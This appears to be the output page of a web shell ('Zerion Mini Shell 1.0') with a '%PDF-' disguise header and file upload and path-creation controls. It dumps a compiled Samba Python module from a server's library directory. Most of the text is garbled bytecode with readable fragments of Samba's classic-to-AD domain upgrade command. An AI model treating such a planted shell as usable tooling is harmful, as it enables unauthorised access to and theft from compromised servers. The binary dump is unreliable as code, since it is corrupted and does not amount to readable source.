%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/samba/netcmd/domain/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/samba/netcmd/domain/__pycache__/classicupgrade.cpython-312.pyc

�

�I�d����ddlZddlZddlZddlZddlmZddlmZddl	m
Z
ddlmZddl
mZmZmZddlmZddlmZddlmZd	d
lmZd�ZGd�d
e�Zy)�N)�system_session)�system_session_unix)�
get_string)�Command�CommandError�Option)�Samba3)�param)�upgrade_from_samba3�)�common_ntvfs_optionsc�8�ttjd�}tj|ddd|z|gtj
|��}|j
�\}}|j�|jd�}|rt|d�j�Sy)	N�wz-sz-lz--parameter-name=%s)�stdout�stderr�
r�)�open�os�devnull�
subprocess�Popen�PIPE�communicate�close�splitr�strip)�testparm�smbconf�varname�errfile�p�out�err�liness        �D/usr/lib/python3/dist-packages/samba/netcmd/domain/classicupgrade.py�get_testparm_varr'*s����2�:�:�s�#�G����(�D�$�/�'�9�7�D� *����	A�A�����J�S�#��M�M�O��I�I�e��E���%��(�#�)�)�+�+�
�c
�r�eZdZdZdZejejd�Ze	dddd��e	d	dd
d��e	dddd
��e	dddd��e	dddd��e	dddgd�dd��gZ
e	ddgd�dd d!�"�gZej�r"e
je�e
je�d#gZ			d&d%�Zy$)'�cmd_domain_classicupgradez�Upgrade from Samba classic (NT4-like) database to Samba AD DC database.

    Specify either a directory with all Samba classic DC databases and state files (with --dbdir) or
    the testparm utility from your classic installation (with --testparm).
    z"%prog [options] <classic_smb_conf>)�	sambaopts�versionoptsz--dbdir�string�DIRz+Path to samba classic DC database directory)�type�metavar�helpz
--testparm�PATHz�Path to samba classic DC testparm utility from the previous installation.  This allows the default paths of the previous installation to be followedz--targetdirzCPath prefix where the new Samba 4.0 AD domain should be initialisedz-qz--quietzBe quiet�
store_true)r1�actionz-vz	--verbosez
Be verbosez
--dns-backend�choicezNAMESERVER-BACKEND)�SAMBA_INTERNAL�BIND9_FLATFILE�	BIND9_DLZ�NONEaThe DNS server backend. SAMBA_INTERNAL is the builtin name server (default), BIND9_FLATFILE uses bind9 text database to store zone information, BIND9_DLZ uses samba4 AD to store zone information, NONE skips the DNS setup entirely (this DC will not be a DNS server)r6)r/r0�choicesr1�defaultz--use-xattrs)�yes�no�autoz
[yes|no|auto]z�Define if we should use the native fs capabilities or a tdb file for storing attributes likes ntacl when --use-ntvfs is set. auto tries to make an intelligent guess based on the user rights and system capabilitiesr>)r/r:r0r1r;rNc	��tjj|�std|z��|r-tjj|�std|z��|r-tjj|�std|z��|s
|std��|j	||��}|r|r|jd�d}|j
�}
tj�}|jr|jd|j�|�4tjj|�stj|�d}|d	k(rd
}�n
|dk(r|sd
}�n|std��|dk(r�|jd
�s�|r4tjtjj!|���}n_tjtjj!tjj#|
jd�����}		t$j&j)|
|j*ddt-�d�d
}|j3�i}|r||d<||d<||d<|dz|d<nYt5||d�|d<t5||d�|d<t5||d�|d<t5||d�|d<t7|d�dk(r|d|d<|D]}|j|||��|j1d�|j9|�t;||�}|j1d�t=|||t?�||
|��y#t.$r|j1d�Y��wxYw#|j3�wxYw)NzFile %s does not existz"Testparm utility %s does not existzDirectory %s does not existz'Please specify either dbdir or testparm)�verbose�quietz2both dbdir and testparm specified, ignoring dbdir.�realmTr<Fr>zr--use-xattrs=no requires --use-ntvfs (not supported for production use).  Please re-run with --use-xattrs omitted.z
posix:eadb)�dirzprivate dirzO:S-1-5-32G:S-1-5-32zS-1-5-32�nativez�You are not root or your system does not support xattr, using tdb backend for attributes. If you intend to use this provision in production, rerun the script as root on a system supporting xattrs.zstate directoryzlock directoryz
/smbpasswdzsmb passwd filerzReading smb.conf�Provisioning)�session_info�useeadb�dns_backend�	use_ntvfs) r�path�existsr�
get_logger�warning�get_loadparm�s3param�get_contextrB�set�isdir�mkdir�get�tempfile�NamedTemporaryFile�abspath�dirname�samba�ntacls�setntacl�namer�	Exception�inforr'�len�loadr	rr)�selfr�	targetdir�dbdirrrAr@�
use_xattrsr+r,rHrI�logger�lp�s3conf�eadb�tmpfile�pathsr"�samba3s                    r&�runzcmd_domain_classicupgrade.runes9���w�w�~�~�g�&��7�'�A�B�B��B�G�G�N�N�8�4��C�h�N�O�O��������.��<�u�D�E�E��X��H�I�I�������>���X��N�N�O�P��E�
�
#�
#�
%���$�$�&���?�?��J�J�w�	���0�� ��7�7�=�=��+�����#�������D�
�6�
!�)��D��� J�K�
K�
�6�
!�&�*�*�\�*B��"�5�5�"�'�'�/�/�)�:T�U��"�5�5�"�'�'�/�/�"�'�'�/�/�Z\�Z`�Z`�an�Zo�Jp�:q�r��

 �
N��L�L�)�)�"�g�l�l�*@�*4�*=�*?�*2�	4�
!�D��
�
�����',�E�#�$�#(�E�-� �&+�E�"�#�',�|�';�E�#�$�'7��'�K\�']�E�#�$�#3�H�g�}�#U�E�-� �'7��'�K\�']�E�#�$�&6�x��JZ�&[�E�"�#��5�*�+�,��1�+0�1A�+B��'�(��	$�A��J�J�q�%��(�#�	$�	���&�'����G�����(�����N�#��F�F�I�N�DT�$(�k�Y�	X��C!�N��K�K�!M�N�N��
�
�
��s$�8M
�
M(�$M+�'M(�(M+�+M=)NNNNFFr>NNNF)�__name__�
__module__�__qualname__�__doc__�synopsis�options�SambaOptions�VersionOptions�takes_optiongroupsr�
takes_options�
ntvfs_optionsrY�is_ntvfs_fileserver_built�extendr
�
takes_argsrl�r(r&r*r*7s���4�H��)�)��-�-���	�y�x��A�	C��|�(�F�k�	l��}�8�U�Y�	[��t�Y�Z��E��t�[�|�L�I���X�7K�P�V�(�
	)��M�&	�~�H�6K�&�j��	��M�'�u�&�&�(����1�2����]�+���J�EI�W[�(-�XXr(r*)rrUrrY�samba.getopt�getoptrr�
samba.authr�samba.auth_utilr�samba.commonr�samba.netcmdrrr�samba.samba3r	r
rO�
samba.upgrader�commonr
r'r*r{r(r&�<module>r�sF��2
�����%�/�#�6�6��)�-�(�
�FX��FXr(

Zerion Mini Shell 1.0